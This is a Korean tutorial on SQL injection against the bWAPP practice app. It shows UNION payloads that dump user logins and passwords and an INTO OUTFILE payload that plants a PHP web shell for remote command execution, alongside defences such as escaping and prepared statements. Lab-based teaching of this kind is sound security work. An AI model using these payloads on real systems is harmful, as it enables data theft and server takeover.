Part-1, SQL 인젝션
- 이 글을 무단으로 전재 및 재배포를 금지하고 있습니다.
- 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 본 내용을 악의적인 목적으로 사용 시 그에 대한 법적 책임을 포함한 모든 책임은 당사자에게 있으며, 작성자는 어떠한 책임도 지지 않음을 밝힙니다.
- 사용자가 입력한 값을 서버에서 검증하지 않고 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점
- 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있음
GET/Search
--데이터 검색을 위해 사용되는 쿼리 구문
select * from movies where title LIKE ''
데이터베이스 서버의 종류에 따라 SQL 구문이 다르므로 쿼리 오류를 발생시켜 가장 먼저 서버 정보를 확인한다.
또한 주석을 사용하여 어떤 데이터베이스를 사용중인지 유추할 수 있다.
종류 | 한 줄 주석 |
---|---|
MySQL | # |
Orcle | -- |
MSSQL | -- |
MariaDB | --,# |
컬럼 수가 일치할 경우 오류 메세지가 아닌 정상 데이터 출력
sqli_1.php 페이지에서 호출하는 칼럼 수는 총 7개
0' union select all 1,@@version,3,4,5,6,7 #
MySql 버전을 확인하기 위하여 시스템 변수나 시스템 함수를 활용하여 쿼리를 입력한다.
시스템 변수 및 함수 | 설명 |
---|---|
database() | 데이터베이스 명을 알려주는 함수 |
user() | 현재 사용자의 아이디 |
system_user() | 최고 권한 사용자의 아이디 |
@@version | 데이터베이스 서버의 버전 |
@@datadir | 데이터베이스 서버가 존재하는 디렉터리 |
--테이블명 확인 쿼리
0' union select all 1,table_name,3,4,5,6,7 from information_schema.tables where table_name = 'users'#
페이지에서 사용하는 테이블 명을 확인하려면 information_schema를 사용한다.
information_schema이란 MySQL에서 메타데이터들을 종류별로 묶어 테이블을 만들고 이 테이블을 모아 데이터베이스를 만든 것
information_schema 출처 https://poqw.tistory.com/24
--컬럼명 확인 쿼리
0' union select all 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'users'#
--데이터 확인 쿼리
0' union select all 1,concat(login,' ',password),3,4,5,6,7 from users #
🔑대응방안
SQL 문법에서 사용하는 특수 문자가 있을 경우 백슬래시를 붙이는 등 입력 데이터를 SQL 문법에서 인식하지 않게 방어
PHP는 mysql_real_escape_string 함수를 사용하여 NULL, \n, \r(맨 앞이동), ', ", ^Z 특수문자를 우회함
SQL 인젝션을 이용한 공격 시나리오
--공격 구문
0' union select all 1,"<?php system($_GET['cmd'])?>",3,4,5,6,7 into outfile "/var/www/bWAPP/images/sqli.php" #
outfile: 쿼리결과를 파일로 저장
/bWAPP/ 디렉터리에 지정한 임의의 악성파일이 생성된다. 이 악성 코드는 원격으로 명령을 실행하는 간단한 스크립트 파일이다.
cmd 변수에 시스템 명령서를 실행하면 원격으로 시스템 정보를 확인할 수 있다.
GET/Select
--sqli_2.php 코드 중
$sql = "SELECT * FROM movies";
// If the user selects a movie
if($id)
{
$sql.= " WHERE id = " . sqli($id);
}
sqli_2.php 에서는 movie 변수에 숫자형이 입력되고 있다. 숫자형만 입력하는 변수에는 작은따옴표나 주석문자를 사용하지 않아도 공격이 가능하다.
--데이터베이스 종류, 버전, DB 서버가 존재하는 디렉터리 확인
0 union select null,database(),@@version,@@datadir,null,null,null
--출력 값이 한 줄만 나오는 페이지
--mysql과 information_schema를 제외하고 가장 상위에 있는 테이블과 id 확인
0 union select null,table_schema,table_name,column_name,null,null,null from information_schema.columns where table_schema !='mysql' and table_schema != 'information_schema'
🔑대응방안
$id = $_GET["movie"]; $sql = "SELECT title, release_year, genre, main_character, imdb FROM movies WHERE id =?"; if($stmt = $link->prepare($sql)) // if($stmt = mysqli_prepare($link, $sql)) { // Binds the parameters for markers $stmt->bind_param("s", $id); // mysqli_stmt_bind_param($stmt, "s", $id); // Executes the query $stmt->execute(); // mysqli_stmt_execute($stmt);
바인딩(binding)
바인딩은 각종 변수값들이 실제 값으로 묶여 버리는 것
쿼리에 값을 직접 입력하지 않고 bind_param를 이용하여 변수마다 타입 선언 및 변수값 대입
다른 문자열이 들어와도 쿼리의 일부가 아닌 문자열이나 타입에 맞는 값으로 취급됨
Author And Source
이 문제에 관하여(Part-1, SQL 인젝션), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@gaebolin/Part-1-SQL-인젝션저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)